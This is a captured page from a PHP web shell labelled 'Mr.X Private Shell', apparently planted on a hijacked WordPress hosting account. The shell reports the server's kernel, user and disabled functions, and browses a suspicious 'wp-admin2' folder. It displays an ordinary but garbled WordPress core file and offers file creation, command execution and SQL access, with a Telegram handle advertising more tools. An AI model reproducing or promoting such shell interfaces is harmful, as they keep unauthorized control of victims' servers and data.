Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www///wp-admin2/includes      ( Reset | Go to )
File Name: class-wp-list-table-compat.php
Edit
<?php
/**
 * Helper functions for displaying a list of items in an ajaxified HTML table.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 4.7.0
 */

/**
 * Helper class to be used only by back compat functions.
 *
 * @since 3.1.0
 */
class _WP_List_Table_Compat extends WP_List_Table {
    public 
$_screen;
    public 
$_columns;

    
/**
     * Constructor.
     *
     * @since 3.1.0
     *
     * @param string|WP_Screen $screen  The screen hook name or screen object.
     * @param string[]         $columns An array of columns with column IDs as the keys
     *                                  and translated column names as the values.
     */
    
public function __construct$screen$columns = array() ) {
        if ( 
is_string$screen ) ) {
            
$screen convert_to_screen$screen );
        }

        
$this->_screen $screen;

        if ( ! empty( 
$columns ) ) {
            
$this->_columns $columns;
            
add_filter'manage_' $screen->id '_columns', array( $this'get_columns' ), );
        }
    }

    
/**
     * Gets a list of all, hidden, and sortable columns.
     *
     * @since 3.1.0
     *
     * @return array
     */
    
protected function get_column_info() {
        
$columns  get_column_headers$this->_screen );
        
$hidden   get_hidden_columns$this->_screen );
        
$sortable = array();
        
$primary  $this->get_default_primary_column_name();

        return array( 
$columns$hidden$sortable$primary );
    }

    
/**
     * Gets a list of columns.
     *
     * @since 3.1.0
     *
     * @return array
     */
    
public function get_columns() {
        return 
$this->_columns;
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL